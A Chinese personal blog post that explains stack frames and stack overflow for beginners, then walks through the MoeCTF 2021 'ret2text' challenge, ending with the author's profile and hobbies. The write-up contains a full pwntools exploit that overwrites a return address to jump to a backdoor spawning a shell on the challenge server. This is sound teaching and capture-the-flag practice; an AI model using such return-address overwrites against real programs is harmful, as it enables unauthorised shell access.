CTF Pwn 入门之栈溢出与 ret2text @ Wings            分类 CTF
发布于 星期一, 十月 4 日, 2021 年
更新于 星期三, 十月 20 日, 2021 年

Pwn 好难啊

(写得不好, 找时间重写一遍)

前置知识

首先需要了解栈在内存中的存放位置以及栈空间的分配方式

内存

如上图是一个可执行程序运行时, 进程在内存中的结构, 其中高地址在上层, 低地址在下层, 栈, 堆的大致位置如图. Data 段存储的是可读写的数据, Code 段存储的是可读可执行的代码(应该是机器码的意思?)和只读数据(如c语言中的字符串常量).

注意到两个寄存器 ebp 和 esp (64 位下是 rbp 和 rsp), 分别存储的是栈基的地址和栈顶的地址. 从图中可以看到, 当进行 push 操作, esp 会减小, 即指针的指向从高地址向低地址移动. 同理当 pop 后, esp 会增大.

函数调用栈

我们知道(我知道), C 语言中一个函数的调用, 实际上需要开辟栈空间, 即将一个栈帧压入栈中, 这个栈指的就是内存中上图所示的栈. 对每一栈帧来说, 都会有三个寄存器, ebp, esp, eip. 其中, eip 指向代码, 用于执行命令. ebp 指向当前调用栈的栈基, esp 指向当前调用栈的栈顶.

直接来看个例子, 假设当前函数为 f, 现在要调用函数 g


void f() {
	int a;
	a = 0;
	g();
	a = 1;
}

void g() {
	int b;
	b = 0;
	b = 1;
}

假设当前指令执行完了 a = 0 这行命令, 现在需要调用函数 g.

首先会向栈中压入一个返回地址 Return Address

这个值里存的就是函数 f 再调用完函数 g 之后, 会执行的命令的地址. 在这个例子中, 即压入了 0x0000FF10.

函数调用栈1

然后会再向栈中压入调用函数的 ebp, 在本例中, 即为 f 的 ebp 0x00FF0F01, 然后 ebp 跳到新栈帧的栈基位置.

函数调用栈2

接下来在新的栈帧中开辟空间, 用于存储函数 g 中的局部变量, eip 指向 g 中的命令, 并依次执行, 即开始执行函数 g 了.

函数调用栈3

函数结束, 先弹出局部变量:

函数调用栈4

然后 ebp 跳到当前 esp 指向的地址, 即调用函数 f 的栈基地址. 弹栈.

函数调用栈5

最后, eip 跳到当前 esp 指向的地址, 即应该执行的下一个指令的地址. 弹栈. 自此, 结束了整个调用函数 g 的过程, 并且 eip 恢复到了 f 函数中接下来的命令继续执行.

函数调用栈6

栈溢出原理

有趣的事发生了.

在对局部变量的写入过程中, 是从低地址向高地址进行的, 写入数据时稍加不注意, 就可以覆盖掉 Caller’s ebp, 以及 Return Address, 甚至是更远的东西. 而刚刚说到, Return Address 存放的是函数调用完成后, 应该执行的命令的地址. 那么程序如果有其他指令, 我们能够获取到他的地址, 然后通过读入覆盖的方式写入 Return Address, 在调用结束后, eip 就会指向我们指定的命令地址, 然后执行这个命令. 如果这个命令是 system("/bin/sh"), 那么就成功获得了 shell.

入门级别的栈溢出是 gets() 函数. 他不会检查输入长度. 所以精心构造一下输入, 让当前栈帧的 Return Address 变为想要的值, 就可以成功 Pwn 掉这个程序了.

WP

MoeCTF 2021 ret2text.


首先检查安全性.

checksec ret2text

仅开启 NX, 即栈数据不能执行保护(虽然其他的我也不知道是啥), 还可以知道该程序是 64 位的. 所以用 IDA64 看看这个程序在干嘛.

在左边找到 main 函数, 双击, 可以在看到 main 的汇编.

main 的汇编

然后按 F5, 可以看到逆向出来的 C 代码.

main 的 C

双击函数, 便可以进入函数, 查看代码. 发现函数 vuln 长这样:

vuln 的 C

可以看到是定义了一个长度为 32 的字符串, 然后从 stdin 向字符串里写入长度为 0x32, 即 50 的字符串. 可知, 这里存在栈溢出. (我才不会告诉你我一开始没发现, 然后测了大于32的输入发现程序段错误才反应过来…)

可以看到函数列表里还有一个奇怪的东西: backdoor. 双击查看代码, 发现其调用了 system("/bin/sh"). 那么如果可以把 vulnReturn Address 改为这个函数的地址, 那么就可以拿到 shell 了.

backdoor

首先在 IDA 的函数列表中能够查到 backdoor 函数的地址

backdoor	.text	0000000000401196	00000023	00000008	00000000	R	.	.	.	.	B	.	.

0000000000401196.

双击 vuln 中的 buf 字符串, 能够看到函数 vuln 的栈帧结构. 可以发现, buf 的大小为 0x20, s, 也就是 Caller’s ebp 的大小是 0x08, 且 r, 也就是 Return Address 的大小是 0x08.

要覆盖数据到 Return Address, 首先需要覆盖掉 Caller’s ebp, 所以需要先输入 0x20+0x08 个字节, 然后才写入地址. 所以 payload 要这么写:

payload = b'a' * 0x28 + p64(backdoor_addr)

(p64 是因为这个程序是64位的, 32位程序写成 p32)

注意 p64 返回的是二进制编码的字符串, 所以前面的字符串也要二进制编码才能够进行拼接.

虽然把 ebp 修改掉了, 但是你跳哪去都不影响我调用函数, 所以 ebp 随便改成啥都行, 叭?

完整 exp:

from pwn import *

backdoor_addr = 0x401196
payload = b'a'*0x28 + p64(backdoor_addr)

# p = process('./ret2text')
p = remote('pwn.blackbird.wang', 9509)

p.recvuntil('Welcome to moectf 2021~ This\'s a brand new ret2text and much easier than the old one.\n')
p.sendline(payload)
p.interactive()

直接调用程序中 .text 节的代码叫 ret2text?

留下昵称和邮箱, 可在第一时间获悉回复通知哦~

2021 FLAG

  • 找个妹子
  • 进计科
  • XCPC拿块金牌
  • 补全算法知识, 整全板子
  • 学会Web开发相关知识
  • 在服务器上搭建电子书库
  • 写个游戏并上线
  • 能弹一首曲子
  • 写首完整的曲子
  • 练习悠悠球

个人简介

我叫 Wings, 来自江西上饶, 目前人在西安, 是西电的一名学生.

常以 WingsWingsZengWingsWings的ID在各大小网站上游走, 一般来说, Wings不是我 😔, WingsZeng 一定是我 😊.

热爱算法, 喜欢钻研各种计算机技术.

业余爱好广泛, 只要不是文化课基本上都感兴趣😏.

开发/项目经历

  1. Android游戏 小墨滴的复仇 (弃坑)
  2. Android游戏 Circle Run (弃坑)
  3. Windows游戏 Snague (可能弃坑了吧)
  4. Python后端 Fathy' (可能弃坑了吧)

to be continued

教育经历

时间 学历 学校
2008-2014 小学 上饶市第十二小学
2014-2017 初中 上饶市第四中学
2017-2020 高中 上饶市第一中学
2020-2024 本科 西安电子科技大学
to be continued

比赛/竞赛经历

太久远太小的记不到了…

  1. 2017 国学竞赛初赛江西 没有分数或排名 二乙
  2. 2018 NOIP提高 258 省二
  3. 2019 CSP-S江西专场 145 省二
  4. 2019 数学竞赛初赛 70 没排名 (复赛打铁qaq)
  5. 2020 Gitee|Python贪吃蛇魔改大赛 可能是第四? 二等奖
  6. 2020 西电ACM训练基地熊猫杯 第四 银牌
  7. 2020 西安三校微软学生俱乐部Hackathon 和二等奖最后一名差0.5分 三等奖
  8. 2020 西电星火杯 三等奖
  9. 2020 西电ACM新生赛 第九 金牌
  10. 2020 ICPC 亚洲区域赛 济南站 132名 铜牌
  11. 2020-2021 第二届全国大学生算法设计与编程挑战赛(冬季赛) 924名 铜牌 (别骂了别骂了)
  12. 2020 ICPC 亚洲区域赛 昆明站 打星
  13. 2020 ICPC Asia-East Continent Final 签完到溜 打铁
  14. 西电"智能星"第一届自动驾驶小车比赛 第五 优胜奖|极速奖 本来可以冠军的别骂了别骂了
  15. 2021团体程序设计天体赛(CCCC) 个人二等奖
  16. 2021 西电 miniL CTF 优胜奖
  17. 2021 西电ACM校赛 第9名 金牌
  18. 2021 西电数模校赛 二等奖
  19. 2021 第15届IEEE 第48名
  20. 2021 CCPC 桂林站 打星

to be continued

爱好

技术

  • 算法
  • 独立游戏开发

游戏

  • Minecraft
  • Black Survival
  • I Wanna
  • Celeste
  • Life is Strange
  • Need for speed

运动

  • 篮球
  • 桌球
  • 乒乓球
  • 羽毛球
  • 慢跑

音乐

  • 吉他
  • 词曲
  • 流行

玩具

  • 魔方
    • 三阶速拧
    • 三阶盲拧
    • 高阶
  • yoyo球

追星

  • VAE
  • Benedict Cumberbatch